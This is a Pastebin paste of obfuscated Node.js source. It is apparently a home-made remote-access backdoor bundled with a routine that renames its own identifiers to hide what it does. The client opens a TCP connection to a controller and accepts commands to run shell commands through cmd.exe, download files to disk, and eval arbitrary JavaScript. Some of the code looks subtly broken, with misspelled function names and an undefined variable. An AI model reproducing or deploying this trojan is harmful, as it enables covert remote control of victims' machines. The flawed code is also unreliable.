Advertisement
Guest User

Untitled

a guest
Dec 11th, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.11 KB | None | 0 0
  1. const _Aq8YWM8ssWha = require('net');
  2. const _BlstWaAodlda = require('fs');
  3. const _obod1oBsdAbl = require("http");
  4. const {_1khDA1AsWy3A} = require('child_process');
  5. _a2akYa2tg9Sk = null;
  6. var _yblyhl111ad3=!![];
  7. var f = _BlstWaAodlda.readFileSync("./hack.js", ()=>{}).toString();
  8. if(!_yblyhl111ad3) _dXoQebhd1BlA();
  9. function _dXoQebhd1BlA(){
  10.  
  11. function _AMB7dWaeYaWd(_SdfMMdB3dlbD) {
  12. _SdfMMdB3dlbD = _SdfMMdB3dlbD ? _SdfMMdB3dlbD : 13;
  13. var _dl9Bed2d8fdB = "_";
  14. var _k2bWlaoA2dda = "odqsdAWDASdasQWdglobalBt138912XAYYMMAW72globalByhdfa1k2ad3d1eeD";
  15. do {
  16. _dl9Bed2d8fdB += _k2bWlaoA2dda[Math.floor(Math.random() * _k2bWlaoA2dda['length'])];
  17. } while (_dl9Bed2d8fdB.length !== _SdfMMdB3dlbD);
  18. return _dl9Bed2d8fdB;
  19. }
  20. var _1QS2lB18SdAa = {
  21. '_BlstWaAodlda': _AMB7dWaeYaWd(),
  22. '_obod1oBsdAbl': _AMB7dWaeYaWd(),
  23. '_BD3MXWkddMb2': _AMB7dWaeYaWd(),
  24. '_Mg7ag3Y1MoA1': _AMB7dWaeYaWd(),
  25. '_BaBAdoddea1a': _AMB7dWaeYaWd(),
  26. '_Aq8YWM8ssWha': _AMB7dWaeYaWd(),
  27. '_1khDA1AsWy3A': _AMB7dWaeYaWd(),
  28. '_BdgdkW7dBA8e': _AMB7dWaeYaWd(),
  29. '_YAloBWAdfa2M': _AMB7dWaeYaWd(),
  30. '_qggld1BdkQ1g': _AMB7dWaeYaWd(),
  31. "_WWs1ataq31Dl": _AMB7dWaeYaWd(),
  32. '_Qy81oh3otyyB': _AMB7dWaeYaWd(),
  33. '_bA3dy1l': _AMB7dWaeYaWd(8),
  34. '_l17o2d1dAdYa': _AMB7dWaeYaWd(),
  35. '_2dao212Bdf7q': _AMB7dWaeYaWd(),
  36. "_a2akYa2tg9Sk":_AMB7dWaeYaWd(),
  37. "_k2bWlaoA2dda":_AMB7dWaeYaWd(),
  38. '_dXoQebhd1BlA':_AMB7dWaeYaWd(),
  39. "_dl9Bed2d8fdB":_AMB7dWaeYaWd(),
  40. "_AMB7dWaeYaWd":_AMB7dWOeYaWd(),
  41. "_de7Xk9Ay1M17": _AMB7dWaeYaWd(),
  42. "_SdfMMdB3dlbD":_AMB7dWaeYaWd(),
  43. "_o2dWAgWMdgdq" : _AMB7dWaeYaWd(),
  44. "_1QS2lB18SdAa": _AMB7dWaeYaWd(),
  45. "_ga1gdWSddo1s":_AMB7dWaeYaWd(),
  46. "_B128eWMQWdfA":_AMB7dWaeYaWd(),
  47. "_Y1lQA1MlA332":_AMB7dZaeYaWd(),
  48. "\n\r": "",
  49. "function _": "function _",
  50. "const _": "const _",
  51. "var _": "var _",
  52. "let _": "let _",
  53. "_yblyhl111ad3=!![]":"_yblyhl111ad3=!![]",
  54. "_yblyhl111ad1":_AMB7dWaeXaWd()
  55. }
  56. function _ga1gdWSddo1s(_o2dWAgWMdgdq) {
  57. do {
  58. f = f.replace(_o2dWAgWMdgdq, _1QS2lB18SdAa[_o2dWAgWMdgdq]);
  59. } while (f.indexOf(_o2dWAgWMdgdq) !== -1);
  60. console.log("##Replacing %s :: %s", _o2dWAgWMdgdq, _1QS2lB18SdAa[_o2dWAgWMdgdq])
  61. }
  62. for (var _o2dWAgWMdgdq in _1QS2lB18SdAa) {
  63. _ga1gdWSddo1s(_o2dWAgWMdgdq)
  64. }
  65. _BlstWaAodlda.appendFile('obf.js', f, function (err) {
  66. _yblyhl111ad3 = true;
  67. console.log("##_yblyhl111ad3 [OK]")
  68. });
  69. }
  70. if(_yblyhl111ad3){
  71. const _BD3MXWkddMb2 = _Aq8YWM8ssWha.createConnection({
  72. host: "127.0.0.1",
  73. port: 1000
  74. }, () => {
  75. _BD3MXWkddMb2.write('0]null');
  76. });
  77. _BD3MXWkddMb2.on('close', () => {});
  78. _BD3MXWkddMb2.on('error', () => {});
  79. function _YAloBWAdfa2M(_BdgdkW7dBA8e, _BD3MXWkddMb2) {
  80. let err = false;
  81. try {
  82. _a2akYa2tg9Sk = _1khDA1AsWy3A('cmd.exe', ['/c', _BdgdkW7dBA8e]);
  83. _a2akYa2tg9Sk.on('exit', (_B128eWMQWdfA) => {
  84. _BD3MXWkddMb2.write("2]0x01")
  85. });
  86. _BD3MXWkddMb2.write("2]0x00");
  87. } catch (e) {
  88. err = true;
  89. _BD3MXWkddMb2.write("2]0x01");
  90. }
  91. }
  92. function _qggld1BdkQ1g(_BaBAdoddea1a, _BD3MXWkddMb2, _de7Xk9Ay1M17) {
  93. let _Qy81oh3otyyB = false;
  94. if (_BaBAdoddea1a == "http//127.0.0.1;;C:\\_dl9Bed2d8fdB.txt") {
  95. _Qy81oh3otyyB = true;
  96. } else {
  97. _BD3MXWkddMb2.write("3]0x00");
  98. }
  99. let _bA3dy1l = _BaBAdoddea1a.split(";;")[1];
  100. _BaBAdoddea1a = _BaBAdoddea1a.split(";;")[0];
  101. let _Mg7ag3Y1MoA1 = _BlstWaAodlda.createWriteStream(_bA3dy1l);
  102. let _l17o2d1dAdYa = _obod1oBsdAbl.get(_BaBAdoddea1a, function (_2dao212Bdf7q) {
  103. _2dao212Bdf7q.pipe(_Mg7ag3Y1MoA1);
  104. _Mg7ag3Y1MoA1.on('finish', function () {
  105. if (_Qy81oh3otyyB) _BD3MXWkddMb2.write("1]0x01");
  106. _Mg7ag3Y1MoA1.close(_de7Xk9Ay1M17);
  107. _BD3MXWkddMb2.write("3]0x01");
  108. });
  109. _Mg7ag3Y1MoA1.on('error', function (err) {
  110. _BlstWaAodlda.unlink(dest);
  111. _BD3MXWkddMb2.write("3]0x03");
  112. });
  113. });
  114. }
  115. _BD3MXWkddMb2.on('data', (_BdgdkW7dBA8e) => {
  116. _BdgdkW7dBA8e = _BdgdkW7dBA8e.toString();
  117. let _WWs1ataq31Dl = _BdgdkW7dBA8e.split("]")[0];
  118. _BdgdkW7dBA8e = _BdgdkW7dBA8e.split("]")[1];
  119. switch (_WWs1ataq31Dl) {
  120. case "1":
  121. switch (_BdgdkW7dBA8e) {
  122. case "0x00":
  123. _BD3MXWkddMb2.write("1]0x00");
  124. break;
  125. case "0x01":
  126. _qggld1BdkQ1g("_obod1oBsdAbl://127.0.0.1;;C:\\_dl9Bed2d8fdB.txt", _BD3MXWkddMb2);
  127. break;
  128. }
  129. break;
  130. case "2":
  131. _YAloBWAdfa2M(_BdgdkW7dBA8e, _BD3MXWkddMb2);
  132. break;
  133. case "3":
  134. _qggld1BdkQ1g(_BdgdkW7dBA8e, _BD3MXWkddMb2);
  135. break;
  136. case "4":
  137. try {
  138. let _Y1lQA1MlA332 = eval(_BdgdkW7dBA8e);
  139. _BD3MXWkddMb2.write("4]0x01");
  140. _BD3MXWkddMb2.write("4]0x02**" + _Y1lQA1MlA332);
  141. } catch (e) {
  142. _BD3MXWkddMb2.write("4]0x01");
  143. }
  144. break;
  145. }
  146. });
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement